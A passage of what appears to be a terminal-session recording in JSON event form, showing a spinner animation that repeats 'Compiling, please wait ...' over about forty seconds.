..."] +[18.615006, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[18.715383, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[18.815764, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[18.916181, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[19.01654, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[19.116966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[19.217444, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[19.317961, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[19.418386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[19.518879, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[19.619285, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[19.719688, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[19.820085, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[19.920517, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[20.020952, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[20.121332, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[20.221723, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[20.322053, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[20.422471, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[20.522794, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[20.623194, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[20.723532, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[20.824103, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[20.924528, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[21.024932, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[21.125328, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[21.225707, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[21.326098, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[21.426502, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[21.526905, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[21.62734, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[21.727834, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[21.828239, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[21.928617, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[22.029032, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[22.129448, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[22.229866, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[22.330268, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[22.430544, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[22.531002, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[22.631396, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[22.731835, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[22.83223, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[22.932662, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[23.033073, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[23.13349, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[23.233919, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[23.334332, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[23.434734, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[23.53517, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[23.635537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[23.735983, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[23.83638, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[23.936783, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[24.037207, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[24.137625, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[24.23802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[24.338431, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[24.438844, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[24.539315, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[24.639859, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[24.740283, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[24.840563, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[24.940951, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[25.041341, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[25.141754, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[25.242166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[25.342538, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[25.442828, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[25.543274, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[25.643646, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[25.744048, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[25.844474, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[25.944862, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[26.04527, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[26.145669, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[26.246022, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[26.346427, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[26.446809, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[26.547437, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[26.647862, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[26.748265, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[26.848674, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[26.949112, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[27.049475, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[27.149909, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[27.250325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[27.350729, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[27.451181, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[27.551524, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[27.651964, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[27.752368, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[27.852712, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[27.953117, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[28.053487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[28.153895, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[28.254303, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[28.354715, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[28.455174, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[28.55554, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[28.655917, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[28.756324, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[28.856721, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[28.957117, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[29.057518, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[29.157906, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[29.258323, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[29.358717, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[29.459162, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[29.559542, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[29.659969, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[29.760376, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[29.86079, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[29.961203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[30.061614, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[30.162019, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[30.262452, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[30.362853, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[30.46329, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[30.563723, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[30.664103, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[30.764499, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[30.864915, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[30.96533, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[31.06574, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[31.166147, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[31.266538, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[31.366946, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[31.467353, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[31.567944, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[31.668315, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[31.768691, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[31.869066, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[31.969645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[32.070051, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[32.170449, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[32.270833, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[32.372544, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[32.472682, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[32.573099, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[32.673483, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[32.773934, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[32.874324, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[32.974716, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[33.075158, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[33.175511, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[33.275897, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[33.376301, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[33.476709, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[33.577097, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[33.677502, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[33.777879, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[33.878273, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[33.978686, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[34.079087, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[34.179484, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[34.279882, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[34.380285, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[34.480707, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[34.581175, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[34.681719, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[34.782143, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[34.88255, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[34.982957, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[35.083382, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[35.183815, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[35.284217, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[35.384615, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[35.485015, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[35.585432, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[35.685846, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[35.786276, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[35.886653, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[35.987056, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[36.087455, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[36.187854, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[36.288268, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[36.388651, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[36.489017, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[36.58937, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[36.689809, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[36.790236, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[36.890643, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[36.991048, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[37.091435, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[37.191873, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[37.292274, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[37.392668, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[37.493089, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[37.593508, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[37.693939, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[37.794338, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[37.894747, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[37.995182, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[38.095547, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[38.19594, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[38.296325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[38.396722, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[38.497121, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[38.597475, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[38.697889, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[38.798141, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[38.898535, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[38.998944, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[39.099317, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[39.199735, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[39.300148, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[39.400493, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[39.500894, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[39.601293, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[39.701696, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[39.802095, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[39.902516, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[40.003755, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[40.103282, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[40.203676, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[40.303955, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[40.404958, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[40.505368, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[40.60649, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[40.706993, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[40.807387, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[40.907774, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[41.008168, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[41.108478, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[41.208875, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[41.309258, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[41.409677, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[41.510096, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[41.610489, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[41.710888, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[41.811325, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[41.911726, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[42.012131, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[42.112481, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[42.212875, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[42.313276, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[42.413665, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[42.514066, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[42.614391, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[42.714777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[42.815228, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[42.915651, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[43.016032, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[43.116466, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[43.216878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[43.317272, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[43.417667, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[43.518058, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[43.618461, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[43.71884, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[43.819261, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[43.919661, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[44.020085, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[44.120484, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[44.220902, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[44.3213, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[44.421728, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[44.522145, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[44.622526, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[44.722857, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[44.823297, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[44.923689, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[45.024077, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[45.124487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[45.224936, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[45.32532, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[45.425692, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[45.5261, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[45.626498, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[45.726911, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[45.827391, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[45.927805, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[46.028214, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[46.128635, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[46.229046, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[46.329463, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[46.429858, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[46.53027, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[46.630681, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[46.731092, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[46.831522, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[46.931935, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[47.032295, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[47.132703, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[47.233096, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[47.333478, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[47.433872, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[47.534277, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[47.634696, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[47.734976, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[47.83539, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[47.935789, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[48.036167, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[48.136501, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[48.236881, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[48.338159, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[48.43858, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[48.538986, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[48.639381, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[48.739785, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[48.840201, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[48.940598, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[49.040979, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[49.141383, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[49.241756, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[49.342167, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[49.44255, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[49.542965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[49.643411, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[49.743796, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[49.84423, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[49.944591, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[50.045011, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[50.145406, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[50.245799, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[50.346164, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[50.446573, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[50.546962, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[50.647393, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[50.747797, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[50.848123, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[50.948495, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[51.048896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[51.149297, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[51.249661, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[51.350084, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[51.450496, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[51.550876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[51.651312, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[51.751699, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[51.852032, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[51.952418, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[52.052739, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[52.153126, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[52.253524, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[52.353929, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[52.454359, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[52.554761, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[52.655262, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[52.755573, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[52.855979, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[52.956372, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[53.05678, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[53.157173, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[53.257583, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[53.357968, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[53.458361, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[53.558745, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[53.659191, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[53.75952, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[53.859914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[53.960403, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[54.060775, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[54.161121, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[54.261532, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[54.361897, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[54.462303, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[54.562716, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[54.663139, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[54.763504, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[54.863896, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[54.964285, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[55.064681, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[55.165089, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[55.265494, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[55.365925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[55.466331, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[55.566731, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[55.667182, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[55.767537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[55.867885, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[55.968287, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[56.068673, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[56.169075, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[56.269472, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[56.369857, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[56.470284, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[56.570677, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[56.671106, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[56.771496, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[56.871914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[56.972284, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[57.072686, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[57.173101, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[57.273483, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[57.373895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[57.474262, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[57.574665, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[57.675196, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[57.775552, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[57.875955, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[57.976382, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[58.076781, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[58.177187, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[58.277562, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[58.377958, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[58.478346, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[58.578729, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[58.679195, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[58.779703, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[58.880107, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[58.980492, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[59.08091, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[59.181308, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[59.281725, "o", 